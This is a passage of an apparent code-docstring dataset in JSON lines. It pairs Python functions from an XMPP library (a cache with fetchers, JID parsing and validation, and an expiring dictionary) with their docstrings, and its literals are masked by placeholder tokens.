`Cache`\n            - `address`: any hashable\n            - `item_freshness_period`: `timedelta`\n            - `item_expiration_period`: `timedelta`\n            - `item_purge_period`: `timedelta`\n            - `object_handler`: callable(address, value, state)\n            - `error_handler`: callable(address, error_data)\n            - `timeout_handler`: callable(address)\n            - `timeout_period`: `timedelta`\n            - `backup_state`: `bool`", "id": "f15241:c1:m0"}
{"signature": "def _deactivate(self):", "body": "self.cache.remove_fetcher(self)<EOL>if self.active:<EOL><INDENT>self._deactivated()<EOL><DEDENT>", "docstring": "Remove the fetcher from cache and mark it not active.", "id": "f15241:c1:m1"}
{"signature": "def _deactivated(self):", "body": "self.active = False<EOL>", "docstring": "Mark the fetcher inactive after it is removed from the cache.", "id": "f15241:c1:m2"}
{"signature": "def fetch(self):", "body": "raise RuntimeError(\"<STR_LIT>\")<EOL>", "docstring": "Start the retrieval process.\n\n        This method must be implemented in any fetcher class.", "id": "f15241:c1:m3"}
{"signature": "def got_it(self, value, state = \"<STR_LIT>\"):", "body": "if not self.active:<EOL><INDENT>return<EOL><DEDENT>item = CacheItem(self.address, value, self._item_freshness_period,<EOL>self._item_expiration_period, self._item_purge_period, state)<EOL>self._object_handler(item.address, item.value, item.state)<EOL>self.cache.add_item(item)<EOL>self._deactivate()<EOL>", "docstring": "Handle a successfull retrieval and call apriopriate handler.\n\n        Should be called when retrieval succeeds.\n\n        Do nothing when the fetcher is not active any more (after\n        one of handlers was already called).\n\n        :Parameters:\n            - `value`: fetched object.\n            - `state`: initial state of the object.\n        :Types:\n            - `value`: any\n            - `state`: `str`", "id": "f15241:c1:m4"}
{"signature": "def error(self, error_data):", "body": "if not self.active:<EOL><INDENT>return<EOL><DEDENT>if not self._try_backup_item():<EOL><INDENT>self._error_handler(self.address, error_data)<EOL><DEDENT>self.cache.invalidate_object(self.address)<EOL>self._deactivate()<EOL>", "docstring": "Handle a retrieval error and call apriopriate handler.\n\n        Should be called when retrieval fails.\n\n        Do nothing when the fetcher is not active any more (after\n        one of handlers was already called).\n\n        :Parameters:\n            - `error_data`: additional information about the error (e.g. `StanzaError` instance).\n        :Types:\n            - `error_data`: fetcher dependant", "id": "f15241:c1:m5"}
{"signature": "def timeout(self):", "body": "if not self.active:<EOL><INDENT>return<EOL><DEDENT>if not self._try_backup_item():<EOL><INDENT>if self._timeout_handler:<EOL><INDENT>self._timeout_handler(self.address)<EOL><DEDENT>else:<EOL><INDENT>self._error_handler(self.address, None)<EOL><DEDENT><DEDENT>self.cache.invalidate_object(self.address)<EOL>self._deactivate()<EOL>", "docstring": "Handle fetcher timeout and call apriopriate handler.\n\n        Is called by the cache object and should _not_ be called by fetcher or\n        application.\n\n        Do nothing when the fetcher is not active any more (after\n        one of handlers was already called).", "id": "f15241:c1:m6"}
{"signature": "def _try_backup_item(self):", "body": "if not self._backup_state:<EOL><INDENT>return False<EOL><DEDENT>item = self.cache.get_item(self.address, self._backup_state)<EOL>if item:<EOL><INDENT>self._object_handler(item.address, item.value, item.state)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>False<EOL><DEDENT>", "docstring": "Check if a backup item is available in cache and call\n        the item handler if it is.\n\n        :return: `True` if backup item was found.\n        :returntype: `bool`", "id": "f15241:c1:m7"}
{"signature": "def __init__(self, max_items, default_freshness_period = _hour,<EOL>default_expiration_period = <NUM_LIT:12>*_hour, default_purge_period = <NUM_LIT>*_hour):", "body": "self.default_freshness_period = default_freshness_period<EOL>self.default_expiration_period = default_expiration_period<EOL>self.default_purge_period = default_purge_period<EOL>self.max_items = max_items<EOL>self._items = {}<EOL>self._items_list = []<EOL>self._fetcher = None<EOL>self._active_fetchers = []<EOL>self._purged = <NUM_LIT:0><EOL>self._lock = threading.RLock()<EOL>", "docstring": "Initialize a `Cache` object.\n\n            :Parameters:\n                - `default_freshness_period`: default freshness period (in seconds).\n                - `default_expiration_period`: default expiration period (in seconds).\n                - `default_purge_period`: default purge period (in seconds). When\n                  0 then items are never purged because of their age.\n                - `max_items`: maximum number of items to store.\n            :Types:\n                - `default_freshness_period`: number\n                - `default_expiration_period`: number\n                - `default_purge_period`: number\n                - `max_items`: number", "id": "f15241:c2:m0"}
{"signature": "def request_object(self, address, state, object_handler,<EOL>error_handler = None, timeout_handler = None,<EOL>backup_state = None, timeout = timedelta(minutes=<NUM_LIT>),<EOL>freshness_period = None, expiration_period = None,<EOL>purge_period = None):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>if state == '<STR_LIT>':<EOL><INDENT>state = '<STR_LIT>'<EOL><DEDENT>item = self.get_item(address, state)<EOL>if item:<EOL><INDENT>object_handler(item.address, item.value, item.state)<EOL>return<EOL><DEDENT>if not self._fetcher:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not error_handler:<EOL><INDENT>def default_error_handler(address, _unused):<EOL><INDENT>\"<STR_LIT>\"<EOL>return object_handler(address, None, '<STR_LIT:error>')<EOL><DEDENT>error_handler = default_error_handler<EOL><DEDENT>if not timeout_handler:<EOL><INDENT>def default_timeout_handler(address):<EOL><INDENT>\"<STR_LIT>\"<EOL>return error_handler(address, None)<EOL><DEDENT>timeout_handler = default_timeout_handler<EOL><DEDENT>if freshness_period is None:<EOL><INDENT>freshness_period = self.default_freshness_period<EOL><DEDENT>if expiration_period is None:<EOL><INDENT>expiration_period = self.default_expiration_period<EOL><DEDENT>if purge_period is None:<EOL><INDENT>purge_period = self.default_purge_period<EOL><DEDENT>fetcher = self._fetcher(self, address, freshness_period,<EOL>expiration_period, purge_period, object_handler, error_handler,<EOL>timeout_handler, timeout, backup_state)<EOL>fetcher.fetch()<EOL>self._active_fetchers.append((fetcher.timeout_time,fetcher))<EOL>self._active_fetchers.sort()<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Request an object with given address and state not worse than\n        `state`. The object will be taken from cache if available, and\n        created/fetched otherwise. The request is asynchronous -- this metod\n        doesn't return the object directly, but the `object_handler` is called\n        as soon as the object is available (this may be before `request_object`\n        returns and may happen in other thread). On error the `error_handler`\n        will be called, and on timeout -- the `timeout_handler`.\n\n        :Parameters:\n            - `address`: address of the object requested.\n            - `state`: the worst acceptable object state. When 'new' then always\n              a new object will be created/fetched. 'stale' will select any\n              item available in cache.\n            - `object_handler`: function to be called when object is available.\n              It will be called with the following arguments: address, object\n              and its state.\n            - `error_handler`: function to be called on object retrieval error.\n              It will be called with two arguments: requested address and\n              additional error information (fetcher-specific, may be\n              StanzaError for XMPP objects).  If not given, then the object\n              handler will be called with object set to `None` and state\n              \"error\".\n            - `timeout_handler`: function to be called on object retrieval\n              timeout.  It will be called with only one argument: the requested\n              address. If not given, then the `error_handler` will be called\n              instead, with error details set to `None`.\n            - `backup_state`: when set and object in state `state` is not\n              available in the cache and object retrieval failed then object\n              with this state will also be looked-up in the cache and provided\n              if available.\n            - `timeout`: time interval after which retrieval of the object\n              should be given up.\n            - `freshness_period`: time interval after which the item created\n              should become 'old'.\n            - `expiration_period`: time interval after which the item created\n              should become 'stale'.\n            - `purge_period`: time interval after which the item created\n              shuld be removed from the cache.\n        :Types:\n            - `address`: any hashable\n            - `state`: \"new\", \"fresh\", \"old\" or \"stale\"\n            - `object_handler`: callable(address, value, state)\n            - `error_handler`: callable(address, error_data)\n            - `timeout_handler`: callable(address)\n            - `backup_state`: \"new\", \"fresh\", \"old\" or \"stale\"\n            - `timeout`: `timedelta`\n            - `freshness_period`: `timedelta`\n            - `expiration_period`: `timedelta`\n            - `purge_period`: `timedelta`", "id": "f15241:c2:m1"}
{"signature": "def invalidate_object(self, address, state = '<STR_LIT>'):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>item = self.get_item(address)<EOL>if item and item.state_value<_state_values[state]:<EOL><INDENT>item.state=state<EOL>item.update_state()<EOL>self._items_list.sort()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Force cache item state change (to 'worse' state only).\n\n        :Parameters:\n            - `state`: the new state requested.\n        :Types:\n            - `state`: `str`", "id": "f15241:c2:m2"}
{"signature": "def add_item(self, item):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>state = item.update_state()<EOL>if state != '<STR_LIT>':<EOL><INDENT>if len(self._items_list) >= self.max_items:<EOL><INDENT>self.purge_items()<EOL><DEDENT>self._items[item.address] = item<EOL>self._items_list.append(item)<EOL>self._items_list.sort()<EOL><DEDENT>return item.state<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Add an item to the cache.\n\n        Item state is updated before adding it (it will not be 'new' any more).\n\n        :Parameters:\n            - `item`: the item to add.\n        :Types:\n            - `item`: `CacheItem`\n\n        :return: state of the item after addition.\n        :returntype: `str`", "id": "f15241:c2:m3"}
{"signature": "def get_item(self, address, state = '<STR_LIT>'):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>item = self._items.get(address)<EOL>if not item:<EOL><INDENT>return None<EOL><DEDENT>self.update_item(item)<EOL>if _state_values[state] >= item.state_value:<EOL><INDENT>return item<EOL><DEDENT>return None<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Get an item from the cache.\n\n        :Parameters:\n            - `address`: its address.\n            - `state`: the worst state that is acceptable.\n        :Types:\n            - `address`: any hashable\n            - `state`: `str`\n\n        :return: the item or `None` if it was not found.\n        :returntype: `CacheItem`", "id": "f15241:c2:m4"}
{"signature": "def update_item(self, item):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>state = item.update_state()<EOL>self._items_list.sort()<EOL>if item.state == '<STR_LIT>':<EOL><INDENT>self._purged += <NUM_LIT:1><EOL>if self._purged > <NUM_LIT>*self.max_items:<EOL><INDENT>self.purge_items()<EOL><DEDENT><DEDENT>return state<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Update state of an item in the cache.\n\n        Update item's state and remove the item from the cache\n        if its new state is 'purged'\n\n        :Parameters:\n            - `item`: item to update.\n        :Types:\n            - `item`: `CacheItem`\n\n        :return: new state of the item.\n        :returntype: `str`", "id": "f15241:c2:m5"}
{"signature": "def num_items(self):", "body": "return len(self._items_list)<EOL>", "docstring": "Get the number of items in the cache.\n\n        :return: number of items.\n        :returntype: `int`", "id": "f15241:c2:m6"}
{"signature": "def purge_items(self):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>il=self._items_list<EOL>num_items = len(il)<EOL>need_remove = num_items - int(<NUM_LIT> * self.max_items)<EOL>for _unused in range(need_remove):<EOL><INDENT>item=il.pop(<NUM_LIT:0>)<EOL>try:<EOL><INDENT>del self._items[item.address]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>while il and il[<NUM_LIT:0>].update_state()==\"<STR_LIT>\":<EOL><INDENT>item=il.pop(<NUM_LIT:0>)<EOL>try:<EOL><INDENT>del self._items[item.address]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Remove purged and overlimit items from the cache.\n\n        TODO: optimize somehow.\n\n        Leave no more than 75% of `self.max_items` items in the cache.", "id": "f15241:c2:m7"}
{"signature": "def tick(self):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>now = datetime.utcnow()<EOL>for t,f in list(self._active_fetchers):<EOL><INDENT>if t > now:<EOL><INDENT>break<EOL><DEDENT>f.timeout()<EOL><DEDENT>self.purge_items()<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Do the regular cache maintenance.\n\n        Must be called from time to time for timeouts and cache old items\n        purging to work.", "id": "f15241:c2:m8"}
{"signature": "def remove_fetcher(self, fetcher):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>for t, f in list(self._active_fetchers):<EOL><INDENT>if f is fetcher:<EOL><INDENT>self._active_fetchers.remove((t, f))<EOL>f._deactivated()<EOL>return<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Remove a running fetcher from the list of active fetchers.\n\n        :Parameters:\n            - `fetcher`: fetcher instance.\n        :Types:\n            - `fetcher`: `CacheFetcher`", "id": "f15241:c2:m9"}
{"signature": "def set_fetcher(self, fetcher_class):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>self._fetcher = fetcher_class<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Set the fetcher class.\n\n        :Parameters:\n            - `fetcher_class`: the fetcher class.\n        :Types:\n            - `fetcher_class`: `CacheFetcher` based class", "id": "f15241:c2:m10"}
{"signature": "def __init__(self, max_items, default_freshness_period = _hour,<EOL>default_expiration_period = <NUM_LIT:12>*_hour, default_purge_period = <NUM_LIT>*_hour):", "body": "self.default_freshness_period = default_freshness_period<EOL>self.default_expiration_period = default_expiration_period<EOL>self.default_purge_period = default_purge_period<EOL>self.max_items = max_items<EOL>self._caches = {}<EOL>self._lock = threading.RLock()<EOL>", "docstring": "Initialize a `Cache` object.\n\n            :Parameters:\n                - `default_freshness_period`: default freshness period (in seconds).\n                - `default_expiration_period`: default expiration period (in seconds).\n                - `default_purge_period`: default purge period (in seconds). When\n                  0 then items are never purged because of their age.\n                - `max_items`: maximum number of items to store.\n            :Types:\n                - `default_freshness_period`: number\n                - `default_expiration_period`: number\n                - `default_purge_period`: number\n                - `max_items`: number", "id": "f15241:c3:m0"}
{"signature": "def request_object(self, object_class, address, state, object_handler,<EOL>error_handler = None, timeout_handler = None,<EOL>backup_state = None, timeout = None,<EOL>freshness_period = None, expiration_period = None, purge_period = None):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>if object_class not in self._caches:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % (object_class,))<EOL><DEDENT>self._caches[object_class].request_object(address, state, object_handler,<EOL>error_handler, timeout_handler, backup_state, timeout,<EOL>freshness_period, expiration_period, purge_period)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Request an object of given class, with given address and state not\n        worse than `state`. The object will be taken from cache if available,\n        and created/fetched otherwise. The request is asynchronous -- this\n        metod doesn't return the object directly, but the `object_handler` is\n        called as soon as the object is available (this may be before\n        `request_object` returns and may happen in other thread). On error the\n        `error_handler` will be called, and on timeout -- the\n        `timeout_handler`.\n\n        :Parameters:\n            - `object_class`: class (type) of the object requested.\n            - `address`: address of the object requested.\n            - `state`: the worst acceptable object state. When 'new' then always\n              a new object will be created/fetched. 'stale' will select any\n              item available in cache.\n            - `object_handler`: function to be called when object is available.\n              It will be called with the following arguments: address, object\n              and its state.\n            - `error_handler`: function to be called on object retrieval error.\n              It will be called with two arguments: requested address and\n              additional error information (fetcher-specific, may be\n              StanzaError for XMPP objects).  If not given, then the object\n              handler will be called with object set to `None` and state\n              \"error\".\n            - `timeout_handler`: function to be called on object retrieval\n              timeout.  It will be called with only one argument: the requested\n              address. If not given, then the `error_handler` will be called\n              instead, with error details set to `None`.\n            - `backup_state`: when set and object in state `state` is not\n              available in the cache and object retrieval failed then object\n              with this state will also be looked-up in the cache and provided\n              if available.\n            - `timeout`: time interval after which retrieval of the object\n              should be given up.\n            - `freshness_period`: time interval after which the item created\n              should become 'old'.\n            - `expiration_period`: time interval after which the item created\n              should become 'stale'.\n            - `purge_period`: time interval after which the item created\n              shuld be removed from the cache.\n        :Types:\n            - `object_class`: `classobj`\n            - `address`: any hashable\n            - `state`: \"new\", \"fresh\", \"old\" or \"stale\"\n            - `object_handler`: callable(address, value, state)\n            - `error_handler`: callable(address, error_data)\n            - `timeout_handler`: callable(address)\n            - `backup_state`: \"new\", \"fresh\", \"old\" or \"stale\"\n            - `timeout`: `timedelta`\n            - `freshness_period`: `timedelta`\n            - `expiration_period`: `timedelta`\n            - `purge_period`: `timedelta`", "id": "f15241:c3:m1"}
{"signature": "def tick(self):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>for cache in self._caches.values():<EOL><INDENT>cache.tick()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Do the regular cache maintenance.\n\n        Must be called from time to time for timeouts and cache old items\n        purging to work.", "id": "f15241:c3:m2"}
{"signature": "def register_fetcher(self, object_class, fetcher_class):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>cache = self._caches.get(object_class)<EOL>if not cache:<EOL><INDENT>cache = Cache(self.max_items, self.default_freshness_period,<EOL>self.default_expiration_period, self.default_purge_period)<EOL>self._caches[object_class] = cache<EOL><DEDENT>cache.set_fetcher(fetcher_class)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Register a fetcher class for an object class.\n\n        :Parameters:\n            - `object_class`: class to be retrieved by the fetcher.\n            - `fetcher_class`: the fetcher class.\n        :Types:\n            - `object_class`: `classobj`\n            - `fetcher_class`: `CacheFetcher` based class", "id": "f15241:c3:m3"}
{"signature": "def unregister_fetcher(self, object_class):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>cache = self._caches.get(object_class)<EOL>if not cache:<EOL><INDENT>return<EOL><DEDENT>cache.set_fetcher(None)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Unregister a fetcher class for an object class.\n\n        :Parameters:\n            - `object_class`: class retrieved by the fetcher.\n        :Types:\n            - `object_class`: `classobj`", "id": "f15241:c3:m4"}
{"signature": "def are_domains_equal(domain1, domain2):", "body": "domain1 = domain1.encode(\"<STR_LIT>\")<EOL>domain2 = domain2.encode(\"<STR_LIT>\")<EOL>return domain1.lower() == domain2.lower()<EOL>", "docstring": "Compare two International Domain Names.\n\n    :Parameters:\n        - `domain1`: domains name to compare\n        - `domain2`: domains name to compare\n    :Types:\n        - `domain1`: `unicode`\n        - `domain2`: `unicode`\n\n    :return: True `domain1` and `domain2` are equal as domain names.", "id": "f15242:m0"}
{"signature": "def _validate_ip_address(family, address):", "body": "try:<EOL><INDENT>info = socket.getaddrinfo(address, <NUM_LIT:0>, family, socket.SOCK_STREAM, <NUM_LIT:0>,<EOL>socket.AI_NUMERICHOST)<EOL><DEDENT>except socket.gaierror as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(err, address))<EOL>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not info:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>addr = info[<NUM_LIT:0>][<NUM_LIT:4>]<EOL>logger.debug(\"<STR_LIT>\".format(addr))<EOL>try:<EOL><INDENT>return socket.getnameinfo(addr, socket.NI_NUMERICHOST)[<NUM_LIT:0>]<EOL><DEDENT>except socket.gaierror as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(err, addr))<EOL>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Check if `address` is valid IP address and return it, in a normalized\n    form.\n\n    :Parameters:\n        - `family`: ``socket.AF_INET`` or ``socket.AF_INET6``\n        - `address`: the IP address to validate", "id": "f15242:m1"}
{"signature": "def __new__(cls, local_or_jid = None, domain = None, resource = None,<EOL>check = True):", "body": "if isinstance(local_or_jid, JID):<EOL><INDENT>return local_or_jid<EOL><DEDENT>if domain is None and resource is None:<EOL><INDENT>obj = cls.cache.get(str(local_or_jid))<EOL>if obj:<EOL><INDENT>return obj<EOL><DEDENT><DEDENT>obj = object.__new__(cls)<EOL>if local_or_jid:<EOL><INDENT>local_or_jid = str(local_or_jid)<EOL><DEDENT>if (local_or_jid and not domain and not resource):<EOL><INDENT>local, domain, resource = cls.__from_unicode(local_or_jid)<EOL>cls.cache[local_or_jid] = obj<EOL><DEDENT>else:<EOL><INDENT>if domain is None and resource is None:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>if check:<EOL><INDENT>local = cls.__prepare_local(local_or_jid)<EOL>domain = cls.__prepare_domain(domain)<EOL>resource = cls.__prepare_resource(resource)<EOL><DEDENT>else:<EOL><INDENT>local = local_or_jid<EOL><DEDENT><DEDENT>object.__setattr__(obj, \"<STR_LIT>\", local)<EOL>object.__setattr__(obj, \"<STR_LIT>\", domain)<EOL>object.__setattr__(obj, \"<STR_LIT>\", resource)<EOL>return obj<EOL>", "docstring": "Create a new JID object or take one from the cache.\n\n        :Parameters:\n            - `local_or_jid`: localpart of the JID, JID object to copy, or\n              Unicode representation of the JID.\n            - `domain`: domain part of the JID\n            - `resource`: resource part of the JID\n            - `check`: if `False` then JID is not checked for specifiaction\n              compliance.", "id": "f15242:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def __from_unicode(cls, data, check = True):<DEDENT>", "body": "parts1 = data.split(\"<STR_LIT:/>\", <NUM_LIT:1>)<EOL>parts2 = parts1[<NUM_LIT:0>].split(\"<STR_LIT:@>\", <NUM_LIT:1>)<EOL>if len(parts2) == <NUM_LIT:2>:<EOL><INDENT>local = parts2[<NUM_LIT:0>]<EOL>domain = parts2[<NUM_LIT:1>]<EOL>if check:<EOL><INDENT>local = cls.__prepare_local(local)<EOL>domain = cls.__prepare_domain(domain)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>local = None<EOL>domain = parts2[<NUM_LIT:0>]<EOL>if check:<EOL><INDENT>domain = cls.__prepare_domain(domain)<EOL><DEDENT><DEDENT>if len(parts1) == <NUM_LIT:2>:<EOL><INDENT>resource = parts1[<NUM_LIT:1>]<EOL>if check:<EOL><INDENT>resource = cls.__prepare_resource(parts1[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>resource = None<EOL><DEDENT>if not domain:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>return (local, domain, resource)<EOL>", "docstring": "Return jid tuple from an Unicode string.\n\n        :Parameters:\n            - `data`: the JID string\n            - `check`: when `False` then the JID is not checked for\n              specification compliance.\n\n        :Return: (localpart, domainpart, resourcepart) tuple", "id": "f15242:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def __prepare_local(data):<DEDENT>", "body": "if not data:<EOL><INDENT>return None<EOL><DEDENT>data = str(data)<EOL>try:<EOL><INDENT>local = NODEPREP.prepare(data)<EOL><DEDENT>except StringprepError as err:<EOL><INDENT>raise JIDError(\"<STR_LIT>\".format(err))<EOL><DEDENT>if len(local.encode(\"<STR_LIT:utf-8>\")) > <NUM_LIT>:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>return local<EOL>", "docstring": "Prepare localpart of the JID\n\n        :Parameters:\n            - `data`: localpart of the JID\n        :Types:\n            - `data`: `unicode`\n\n        :raise JIDError: if the local name is too long.\n        :raise pyxmpp.xmppstringprep.StringprepError: if the\n            local name fails Nodeprep preparation.", "id": "f15242:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def __prepare_domain(data):<DEDENT>", "body": "<EOL>if not data:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>data = str(data)<EOL>if not data:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>if '<STR_LIT:[>' in data:<EOL><INDENT>if data[<NUM_LIT:0>] == '<STR_LIT:[>' and data[-<NUM_LIT:1>] == '<STR_LIT:]>':<EOL><INDENT>try:<EOL><INDENT>addr = _validate_ip_address(socket.AF_INET6, data[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>return \"<STR_LIT>\".format(addr)<EOL><DEDENT>except ValueError as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(err))<EOL>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif data[<NUM_LIT:0>].isdigit() and data[-<NUM_LIT:1>].isdigit():<EOL><INDENT>try:<EOL><INDENT>addr = _validate_ip_address(socket.AF_INET, data)<EOL><DEDENT>except ValueError as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(err))<EOL><DEDENT><DEDENT>data = UNICODE_DOT_RE.sub(\"<STR_LIT:.>\", data)<EOL>data = data.rstrip(\"<STR_LIT:.>\")<EOL>labels = data.split(\"<STR_LIT:.>\")<EOL>try:<EOL><INDENT>labels = [idna.nameprep(label) for label in labels]<EOL><DEDENT>except UnicodeError:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>for label in labels:<EOL><INDENT>if not STD3_LABEL_RE.match(label):<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>idna.ToASCII(label)<EOL><DEDENT>except UnicodeError:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>domain = \"<STR_LIT:.>\".join(labels)<EOL>if len(domain.encode(\"<STR_LIT:utf-8>\")) > <NUM_LIT>:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>return domain<EOL>", "docstring": "Prepare domainpart of the JID.\n\n        :Parameters:\n            - `data`: Domain part of the JID\n        :Types:\n            - `data`: `unicode`\n\n        :raise JIDError: if the domain name is too long.", "id": "f15242:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def __prepare_resource(data):<DEDENT>", "body": "if not data:<EOL><INDENT>return None<EOL><DEDENT>data = str(data)<EOL>try:<EOL><INDENT>resource = RESOURCEPREP.prepare(data)<EOL><DEDENT>except StringprepError as err:<EOL><INDENT>raise JIDError(\"<STR_LIT>\".format(err))<EOL><DEDENT>if len(resource.encode(\"<STR_LIT:utf-8>\")) > <NUM_LIT>:<EOL><INDENT>raise JIDError(\"<STR_LIT>\")<EOL><DEDENT>return resource<EOL>", "docstring": "Prepare the resourcepart of the JID.\n\n        :Parameters:\n            - `data`: Resourcepart of the JID\n\n        :raise JIDError: if the resource name is too long.\n        :raise pyxmpp.xmppstringprep.StringprepError: if the\n            resourcepart fails Resourceprep preparation.", "id": "f15242:c0:m6"}
{"signature": "def as_utf8(self):", "body": "return self.as_unicode().encode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "UTF-8 encoded JID representation.\n\n        :return: UTF-8 encoded JID.", "id": "f15242:c0:m9"}
{"signature": "def as_string(self):", "body": "warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", DeprecationWarning, stacklevel=<NUM_LIT:1>)<EOL>return self.as_utf8()<EOL>", "docstring": "UTF-8 encoded JID representation.\n\n        *Deprecated* Always use Unicode objects, or `as_utf8` if you really want.\n\n        :return: UTF-8 encoded JID.", "id": "f15242:c0:m10"}
{"signature": "def as_unicode(self):", "body": "result = self.domain<EOL>if self.local:<EOL><INDENT>result = self.local + '<STR_LIT:@>' + result<EOL><DEDENT>if self.resource:<EOL><INDENT>result = result + '<STR_LIT:/>' + self.resource<EOL><DEDENT>if result not in JID.cache:<EOL><INDENT>JID.cache[result] = self<EOL><DEDENT>return result<EOL>", "docstring": "Unicode string JID representation.\n\n        :return: JID as Unicode string.", "id": "f15242:c0:m11"}
{"signature": "def bare(self):", "body": "return JID(self.local, self.domain, check = False)<EOL>", "docstring": "Make bare JID made by removing resource from current `self`.\n\n        :return: new JID object without resource part.", "id": "f15242:c0:m12"}
{"signature": "def __init__(self, default_timeout = <NUM_LIT>):", "body": "dict.__init__(self)<EOL>self._timeouts = {}<EOL>self._default_timeout = default_timeout<EOL>self._lock = threading.RLock()<EOL>", "docstring": "Initialize an `ExpiringDictionary` object.\n\n        :Parameters:\n            - `default_timeout`: default timeout value (in seconds) for stored\n              objects.\n        :Types:\n            - `default_timeout`: `float`", "id": "f15243:c0:m0"}
{"signature": "def set_item(self, key, value, timeout = None, timeout_callback = None):", "body": "with self._lock:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(key, value, timeout, timeout_callback))<EOL>if not timeout:<EOL><INDENT>timeout = self._default_timeout<EOL><DEDENT>self._timeouts[key] = (time.time() + timeout, timeout_callback)<EOL>return dict.__setitem__(self, key, value)<EOL><DEDENT>", "docstring": "Set item of the dictionary.\n\n        :Parameters:\n            - `key`: the key.\n            - `value`: the object to store.\n            - `timeout`: timeout value for the object (in seconds from now).\n            - `timeout_callback`: function to be called when the item expires.\n              The callback should accept none, one (the key) or two (the key\n              and the value) arguments.\n        :Types:\n            - `key`: any hashable value\n            - `value`: any python object\n            - `timeout`: `int`\n            - `timeout_callback`: callable", "id": "f15243:c0:m5"}
{"signature": "def expire(self):", "body": "with self._lock:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(self._timeouts))<EOL>next_timeout = None<EOL>for k in self._timeouts.keys():<EOL><INDENT>ret = self._expire_item(k)<EOL>if ret is not None:<EOL><INDENT>if next_timeout is None:<EOL><INDENT>next_timeout = ret<EOL><DEDENT>else:<EOL><INDENT>next_timeout = min(next_timeout, ret)<EOL><DEDENT><DEDENT><DEDENT>return next_timeout<EOL><DEDENT>", "docstring": "Do the expiration of dictionary items.\n\n        Remove items that expired by now from the dictionary.\n\n        :Return: time, in seconds, when the next item expires or `None`\n        :returntype: `float`", "id": "f15243:c0:m6"}
